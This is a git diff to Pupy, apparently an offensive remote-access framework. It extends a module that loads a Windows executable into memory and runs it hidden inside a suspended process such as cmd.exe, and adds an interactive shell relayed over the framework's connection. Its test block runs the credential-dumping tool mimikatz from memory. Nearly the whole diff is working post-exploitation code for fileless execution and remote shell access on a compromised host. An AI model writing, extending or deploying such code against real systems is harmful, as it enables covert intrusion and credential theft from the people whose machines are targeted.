diff --git a/pupy/modules/memory_exec.py b/pupy/modules/memory_exec.py index 253b5d28..90380766 100644 --- a/pupy/modules/memory_exec.py +++ b/pupy/modules/memory_exec.py @@ -17,6 +17,7 @@ from pupylib.PupyModule import * from pupylib.PupyCompleter import * from pupylib.utils.pe import get_pe_arch from pupylib.PupyErrors import PupyModuleError +from pupylib.utils.rpyc_utils import redirected_stdio __class_name__="MemoryExec" @@ -31,7 +32,7 @@ class MemoryExec(PupyModule): self.arg_parser = PupyArgumentParser(prog="memory_exec", description=self.__doc__) self.arg_parser.add_argument('-p', '--process', default='cmd.exe', help='process to start suspended') self.arg_parser.add_argument('--fork', action='store_true', help='fork and do not wait for the child program. stdout will not be retrieved', completer=path_completer) - self.arg_parser.add_argument('--interactive', action='store_true', help='interactive with the new process stdin/stdout') + #self.arg_parser.add_argument('-i', '--interactive', action='store_true', help='interactive with the new process stdin/stdout') self.arg_parser.add_argument('path', help='path to the exe', completer=path_completer) self.arg_parser.add_argument('args', nargs='*', help='optional arguments to pass to the exe') @@ -47,10 +48,6 @@ class MemoryExec(PupyModule): self.log(res) def run(self, args): - if args.interactive: - #TODO - self.error("interactive memory execution has not been implemented yet") - return #check we are injecting from the good process arch: pe_arch=get_pe_arch(args.path) @@ -59,25 +56,27 @@ class MemoryExec(PupyModule): self.error("%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or first migrate into a %s process"%(args.path, pe_arch, proc_arch, proc_arch, pe_arch)) return - wait=True redirect_stdio=True if args.fork: wait=False redirect_stdio=False + raw_pe=b"" with open(args.path,'rb') as f: raw_pe=f.read() + self.client.load_package("pupymemexec") self.client.load_package("pupwinutils.memexec") + res="" self.mp=self.client.conn.modules['pupwinutils.memexec'].MemoryPE(raw_pe, args=args.args, hidden=True, redirect_stdio=redirect_stdio) self.mp.run() - while True: - if self.mp.wait(1): - break + if not args.fork: + with redirected_stdio(self.client.conn): + self.mp.get_shell() self.mp.close() - res=self.mp.get_stdout() - self.log(res) + #res=self.mp.get_stdout() + #self.log(res) diff --git a/pupy/packages/windows/all/pupwinutils/memexec.py b/pupy/packages/windows/all/pupwinutils/memexec.py index 04d74651..acfdcc91 100644 --- a/pupy/packages/windows/all/pupwinutils/memexec.py +++ b/pupy/packages/windows/all/pupwinutils/memexec.py @@ -21,13 +21,20 @@ import ctypes from ctypes.wintypes import DWORD import traceback import time +import threading WAIT_TIMEOUT=0x00000102 -def ReadFile(handle, desired_bytes, ol = None): +def WriteFile(handle, data): + c_writen = DWORD() + buffer = ctypes.create_string_buffer(data) + if not ctypes.windll.kernel32.WriteFile(handle, buffer, len(data), ctypes.byref(c_writen), None): + raise ctypes.WinError() + +def ReadFile(handle, max_bytes): c_read = DWORD() - buffer = ctypes.create_string_buffer(desired_bytes+1) - success = ctypes.windll.kernel32.ReadFile(handle, buffer, desired_bytes, ctypes.byref(c_read), ol) + buffer = ctypes.create_string_buffer(max_bytes+1) + success = ctypes.windll.kernel32.ReadFile(handle, buffer, max_bytes, ctypes.byref(c_read), None) if not success: last_error=ctypes.windll.kernel32.GetLastError() if last_error==0x6D:#ERROR_BROKEN_PIPE @@ -48,8 +55,11 @@ class MemoryPE(object): self.hidden=hidden self.hProcess=None self.rpStdout=None + self.EOF=threading.Event() + def close(self): #Killing the program if he is still alive + ctypes.windll.kernel32.CloseHandle(self.rpStdout) ctypes.windll.kernel32.TerminateProcess(self.hProcess, 1); ctypes.windll.kernel32.CloseHandle(self.hProcess) @@ -74,14 +84,42 @@ class MemoryPE(object): return "" #Closing the write handle to avoid lock: ctypes.windll.kernel32.CloseHandle(self.rpStdout) + fulldata=b"" while True: data=ReadFile(self.pStdout, 2048) if not data: + self.EOF.set() break fulldata+=data return fulldata + def write_stdin(self, data): + WriteFile(self.pStdin, data) + + def get_shell(self): + t=threading.Thread(target=self.loop_read) + t.daemon=True + t.start() + try: + while True: + data=raw_input() + self.write_stdin(data+"\n") + if data=="exit": + break + if self.EOF.is_set(): + break + finally: + self.close() + + def loop_read(self): + while True: + data=ReadFile(self.pStdout, 2048) + sys.stdout.write(data) + sys.stdout.flush() + if not data: + break + def run(self): hProcess, pStdin, pStdout, rpStdin, rpStdout = pupymemexec.run_pe_from_memory(self.cmdline, self.raw_pe, self.redirect_stdio, self.hidden) self.pStdout=pStdout @@ -96,7 +134,7 @@ if __name__=="__main__": with open("mimikatz.exe",'rb') as f: mpe=MemoryPE(f.read()) mpe.run() - mpe.wait(5) - mpe.close() - print mpe.get_stdout() - raw_input() + mpe.get_shell() + #mpe.wait(5) + #mpe.close() + #print mpe.get_stdout()